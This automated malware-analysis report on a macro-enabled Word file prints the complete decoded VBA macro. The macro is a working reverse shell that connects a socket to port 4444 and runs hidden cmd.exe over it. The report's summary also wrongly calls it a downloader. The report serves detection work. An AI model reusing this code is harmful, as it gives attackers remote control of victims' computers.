Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 bd281763a45d7652…

MALICIOUS

Office (OOXML)

20.7 KB Created: 2021-06-11 06:54:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-17
MD5: 5ca05918c5b72bcd308ba2734a7883a7 SHA-1: 7c0946f1b077334e6fe45457cc50a4023761b1f6 SHA-256: bd281763a45d76525a964e33d03a949b048b97f72c93f2fbbb2600d81ac9bfcc
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is an OOXML document containing VBA macros. The critical ClamAV heuristic indicates it is malicious, specifically identified as Doc.Malware.Valyria-10003133-0. The VBA script attempts to establish a socket connection to '127.0.0.1:4444', which is highly suspicious and indicative of a downloader attempting to fetch a second-stage payload. The presence of VBA macros points to T1059.005 (Visual Basic) and the network connection attempt suggests T1105 (Ingress Tool Transfer).

Heuristics 3

  • ClamAV: Doc.Malware.Valyria-10003133-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10003133-0
  • VBA project inside OOXML medium OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6018 bytes
SHA-256: 9178fb3ac798ae3ec4f4c72b7214a8d1603bc67842ea4dcc427e9ec4a1170586
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const ip = "127.0.0.1"
Const port = "4444"

Const OBS_SOCKET = -1
Const WSADESCRIPTION_LEN = 256
Const S_ERROR = -1

Private Type WSADATA
    wVersion As Integer
    wHighVersion As Integer
    szDescription(0 To WSADESCRIPTION_LEN) As Byte
    szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte
    iMaxSockets As Integer
    iMaxUdpDg As Integer
    lpVendorInfo As Long
End Type

Private Type ADDRINFO
    ai_flags As Long
    ai_family As Long
    ai_socktype As Long
    ai_protocol As Long
    ai_addrlen As Long
    ai_canonName As LongPtr
    ai_addr As LongPtr
    ai_next As LongPtr
End Type

Private Type STARTUPINFOA
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As String
    hStdInput As LongPtr
    hStdOutput As LongPtr
    hStdError As LongPtr
End Type

Private Type PROCESS_INFORMATION
    hProcess As LongPtr
    hThread As LongPtr
    dwProcessId As Long
    dwThreadId As Long
End Type

Enum af
    AF_UNSPEC = 0
    AF_INET = 2
    AF_IPX = 6
    AF_APPLETALK = 16
    AF_NETBIOS = 17
    AF_INET6 = 23
    AF_IRDA = 26
    AF_BTH = 32
End Enum

'This changes the file hash even further


Enum sock_type
    SOCK_STREAM = 1
    SOCK_DGRAM = 2
    SOCK_RAW = 3
    SOCK_RDM = 4
    SOCK_SEQPACKET = 5
End Enum

Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer, ByRef data As WSADATA) As Long
Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr, ByVal SOCKADDR As LongPtr, ByVal namelen As Long) As Long
Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" ()
Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As LongPtr, lpResult As LongPtr) As Long
Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long

'nothing is suspicious here'

Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Any, ByVal lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal t As Long, ByVal protocol As Long, lpProtocolInfo As Any, ByVal g As Long, ByVal dwFlags As Long) As Long

Function rootPls()
    Dim m_wsaData As WSADATA
    Dim m_RetVal As Integer
    Dim m_Hints As ADDRINFO
    Dim m_ConnSocket As LongPtr: m_ConnSocket = OBS_SOCKET
    Dim pAddrInfo As LongPtr
    Dim RetVal As Long
    Dim lastError As Long
    Dim iRC As Long
    Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512

    RetVal = WSAStartup(WORDMAKE(2, 2), m_wsaData)
    If (RetVal <> 0) Then
        MsgBox "WSAStartup failed with error " & RetVal, WSAGetLastError()
        Call WSACleanup
        Exit Function
    End If
    
    m_Hints.ai_family = af.AF_UNSPEC
    m_Hints.ai_socktype = sock_type.SOCK_STREAM

    RetVal = GetAddrInfo(ip, port, VarPtr(m_Hints), pAddrInfo)
    If (RetVal <> 0) Then
        MsgBox "Cannot resolve address " & ip & " and port " & port & ", error " & RetVal, WSAGetLastError()
        Call WSACleanup
        Exit Function
    End If

    m_Hints.ai_next = pAddrInfo
    Dim connected As Boolean: connected = False
    Do While m_Hints.ai_next > 0
        CopyMemory m_Hints, ByVal m_Hints.ai_next, LenB(m_Hints)

        m_ConnSocket = WSASocketA(m_Hints.ai_family, m_Hints.ai_socktype, m_Hints.ai_protocol, ByVal 0&, 0, 0)
        
        If (m_ConnSocket = OBS_SOCKET) Then
            rootPls = False
        Else
            Dim connectionResult As Long

            connectionResult = connect(m_ConnSocket, m_Hints.ai_addr, m_Hints.ai_addrlen)

            If connectionResult <> S_ERROR Then
                connected = True
                Exit Do
            End If
            
            closesocket (m_ConnSocket)
            rootPls = False
        End If
    Loop

'This is not a function
    If Not connected Then
        rootPls = False
        RetVal = closesocket(m_ConnSocket)
        Call WSACleanup
        Exit Function
    End If
    
    Dim si As STARTUPINFOA
    ZeroMemory si, Len(si)
    si.cb = Len(si)
    si.dwFlags = &H100
    si.hStdInput = m_ConnSocket
    si.hStdOutput = m_ConnSocket
    si.hStdError = m_ConnSocket
    Dim pi As PROCESS_INFORMATION
    Dim worked As LongPtr
    Dim test As Long
    worked = CreateProc(vbNullString, "cmd", ByVal 0&, ByVal 0&, True, &H8000000, 0, vbNullString, si, pi)
    rootPls = worked
End Function

'Ignore me please

Public Function WORDMAKE(Lo As Byte, Hi As Byte) As Integer
    WORDMAKE = Lo + Hi * 256& Or 32768 * (Hi > 127)
End Function

Sub SafePpee()
    Dim success As Boolean
    success = rootPls()
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 22528 bytes
SHA-256: 34eb06ac8da5f8b425f66dfbdea9842dd9478e0f8c66d70aa875dbdeb25635ba
Detection
ClamAV: Doc.Malware.Valyria-10003133-0
Obfuscation or payload: unlikely

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